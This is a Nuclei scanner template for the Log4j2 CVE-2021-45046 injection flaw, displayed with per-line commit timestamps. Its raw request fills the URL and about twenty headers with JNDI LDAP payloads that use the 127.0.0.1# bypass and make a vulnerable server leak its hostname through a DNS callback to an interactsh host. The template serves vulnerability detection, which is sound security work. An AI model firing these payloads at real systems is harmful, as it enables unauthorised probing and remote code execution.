2021-12-23 15:41:50 +00:00
|
|
|
id: CVE-2021-45046
|
|
|
|
|
|
|
|
info:
|
2022-10-10 19:51:42 +00:00
|
|
|
name: Apache Log4j2 - Remote Code Injection
|
2021-12-23 15:41:50 +00:00
|
|
|
author: ImNightmaree
|
|
|
|
severity: critical
|
2022-02-28 18:56:15 +00:00
|
|
|
description: Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Log4j2.
|
2021-12-23 15:41:50 +00:00
|
|
|
reference:
|
|
|
|
- https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/
|
|
|
|
- https://twitter.com/marcioalm/status/1471740771581652995
|
|
|
|
- https://logging.apache.org/log4j/2.x/
|
2022-05-17 09:18:12 +00:00
|
|
|
- http://www.openwall.com/lists/oss-security/2021/12/14/4
|
2022-07-16 17:08:10 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
2021-12-23 15:43:46 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2022-10-25 14:05:39 +00:00
|
|
|
cvss-score: 9
|
2021-12-23 15:43:46 +00:00
|
|
|
cve-id: CVE-2021-45046
|
2023-07-11 19:49:27 +00:00
|
|
|
cwe-id: CWE-917
|
2023-10-14 11:27:55 +00:00
|
|
|
epss-score: 0.9741
|
2023-10-20 11:41:13 +00:00
|
|
|
epss-percentile: 0.99903
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: apache
|
|
|
|
product: log4j
|
|
|
|
tags: cve,cve2021,rce,oast,log4j,injection,kev
|
2021-12-23 15:41:50 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-12-23 15:41:50 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}
|
|
|
|
Accept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}
|
|
|
|
Accept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}
|
|
|
|
Access-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
|
|
|
|
Access-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
|
|
|
|
Authentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}
|
|
|
|
Authentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}
|
|
|
|
Cookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
|
|
|
|
Location: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}
|
|
|
|
Origin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}
|
|
|
|
Referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}
|
|
|
|
Upgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
|
|
|
|
User-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}
|
|
|
|
X-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}
|
|
|
|
X-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}
|
|
|
|
X-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}
|
|
|
|
X-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}
|
|
|
|
X-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2023-07-11 19:49:27 +00:00
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
2021-12-23 15:41:50 +00:00
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
regex:
|
2023-08-31 11:46:18 +00:00
|
|
|
- '\d{3}\.\d{1}\.\d{1}\.\d{1}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted 127.0.0.1.${hostName} in output
|
2021-12-23 15:41:50 +00:00
|
|
|
|
|
|
|
extractors:
|
2023-05-08 05:37:00 +00:00
|
|
|
- type: kval
|
|
|
|
kval:
|
2023-10-19 14:35:43 +00:00
|
|
|
- interactsh_ip # Print remote interaction IP in output
|
2023-05-08 05:37:00 +00:00
|
|
|
|
2021-12-23 15:41:50 +00:00
|
|
|
- type: regex
|
|
|
|
group: 2
|
|
|
|
regex:
|
2023-08-31 11:46:18 +00:00
|
|
|
- '\d{3}\.\d{1}\.\d{1}\.\d{1}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
|
2021-12-23 15:41:50 +00:00
|
|
|
|
|
|
|
- type: regex
|
|
|
|
group: 1
|
|
|
|
regex:
|
2023-08-31 11:46:18 +00:00
|
|
|
- '\d{3}\.\d{1}\.\d{1}\.\d{1}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted 127.0.0.1.${hostName} in output
|
2023-10-19 14:45:53 +00:00
|
|
|
part: interactsh_request
|
2023-10-22 12:16:24 +00:00
|
|
|
|
|
|
|
# digest: 490a00463044022044ccaf335ae8b0e789cdae095b733af92fa6afc4407e8ca87d896b408fa590ec022064984162223989246df9657a6c03c45324b6b25cf2cff7bb17d0dfa0e1360030:922c64590222798bb761d5b6d8e72950
|